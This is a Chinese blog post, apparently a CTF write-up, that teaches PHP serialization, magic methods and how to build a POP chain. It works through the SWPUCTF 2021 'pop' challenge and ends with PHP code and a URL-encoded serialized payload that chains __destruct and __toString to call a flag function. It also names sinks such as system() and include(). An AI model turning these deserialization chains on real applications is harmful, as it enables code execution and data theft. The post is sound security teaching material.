Web POP链

引言

        在CTF web方向中有这么一道题,php反序列化,出题人会给你一串php代码,要求你通过这串代码来传递参数从而调用函数来获取flag,而这串代码末位处通常会有反序列化函数,这就要求在传入参数时,要对参数进行序列化,相当于一正一负抵消了,使得传入的参数能被函数正常解析,在传入参数通过调用函数来获取flag的过程叫做构造POP链,在说POP链之前,我们先了解一些php序列化,在进一步讲如何构造POP链。


补充

1.PHP序列化及反序列化

1.1定义

<1>PHP序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

<2>PHP反序列化是一种将序列化数据转换为可用的PHP数据结构的过程。PHP反序列化可以帮助PHP开发人员轻松地存储和传输复杂的和多维度的结构。PHP反序列化可以把一些PHP格式的数据,比如:数组,对象,布尔值,等,反序列化为字符串或字节流,并将这些反序列化信息存储在文件中,或者在网络间传输。

1.2常用(反)序列化函数

<1>PHP的serialize()函数

PHP的serialize()函数可以把任何变量序列化为字符串,其中包括数组、对象等复杂类型变量。使用serialize()函数,可以把PHP变量在不同网络上传输,或者存储在文件中。

示例:

<?php 
class test{
public $t = "Hello";
}

$T = new test();
echo serialize($T);
?>

//O:4:"test":1:{s:1:"t";s:5:"Hello";}运行结果
/*
代表的含义依次是:
O:代表object
4:代表对象名字长度为4个字符
test:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
1:变量名称的长度
t:变量名称
s:数据类型
5:变量值的长度
hello:变量值
*/

<2>PHP的unserialize()函数

PHP的unserialize()函数可以用来反序列化一个已经序列化过的字符串,把它转换为PHP变量,并将其返回。

示例:

<?php
$t1 = unserialize('O:4:"test":1:{s:1:"t";s:5:"Hello";}');
echo $t1->t;
?>
//运行结果输出互class test的变量t:hello

2.魔术方法

在通过传入参数调用函数时,可能单个函数无法直接调用,需要借助其他函数间接调用,在POP链中这类函数被称为魔术方法。

2.1定义

魔术方法指的是在 PHP 中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等。

2.2常用的几种魔术方法

construct destruct  get set weakeup tostring invoke

魔术方法
函数名作用触发条件(绕过)
__construct()初始化成员属性对象创建完成后自动调用
__destruct()回收对象使用过程中的资源在销毁对象的时候自动触发
__get()获取私有属性值获取一个不可达属性属性的时候自动触发
__set()设置私有属性设置一个不可达属性时自动触发
__wakeup()在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑反序列化规则不符,就会反序列化失败,绕过__wakeup()
__toString()快速获取对象的字符串信息的便捷方式当一个对象被当作字符串处理的时候,会被触发
__invoke()直接调用对象名当尝试以调用函数的方式调用一个对象时会被触发

构造POP链

1.步骤:

  1. 复制源代码到本地(notepad,记事本)
  2. 注释掉(删除)和属性无关的内容
  3. 根据题目需要,给属性赋值
  4. 生成反序列化数据,通常需要url编码
  5. 传递数据到服务器

简单来说,可以概括为找函数,调用这个函数执行命令,获取flag。找函数,如eval(),system(),fie_get_contents(),include()等,调用命令如system("ls /"),fie_get_contents("flag.php"),include("flag.php")等。

2.实践

题目

 ​​​​​​[SWPUCTF 2021 新生赛]pop | NSSCTF

代码:

(1)将代码赋值到本地

(2)注释掉和属性无关的内容 

(3)根据需要,给属性赋值,生成序列化数据

  • <1>在class w44m有一个Getflag方法会输出flag,则我们需要创建对象的同时能间接的调用Getflag这个方法
  • <2>在class w33m 的__tostring()中有一个 $this->w00m->{$this->w22m}();,这里可以是调用Getflag方法,创建class w33m,将$this->woom = class w44m, $this->w22m->=Getflag,即可调用Getflag函数
  • <3>要调用到__toStirng,则要将class w33m 作字符串处理,发现 class w22m有一个__destruct(),
  • echo $this->w00m;创建class w22m ,将$this->woom = class w33m,即可调用__toString(),__destruct在运行完这个文件会自动调用,
  • <4>最后要在创建class 44m时要满足Getflag条件,给属性admin和passwd赋值

操作如下:(起始是class w44m,终止是class w22m,序列化class w22m)

<?php
//error_reporting(0);
//show_source("index.php");
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
   /* 
   public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
	*/
}
class w22m{
    public $w00m;
    /*public function __destruct(){
        echo $this->w00m;
    }
	*/
}
class w33m{
    public $w00m;
    public $w22m="Getflag";
    /*
	public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
	*/
}
/*
$w00m = $_GET['w00m'];
unserialize($w00m);
*/
$w4 = new w44m();
$w3 = new w33m();
$w2 =new w22m();

$w2->w00m = $w3;
$w3->w00m = $w4;
echo urlencode(serialize($w2)); 
?>

//运行结果O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

(4)传递给服务器

流程图如下:

写的比较粗糙,求个点赞^0^ ^0^

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值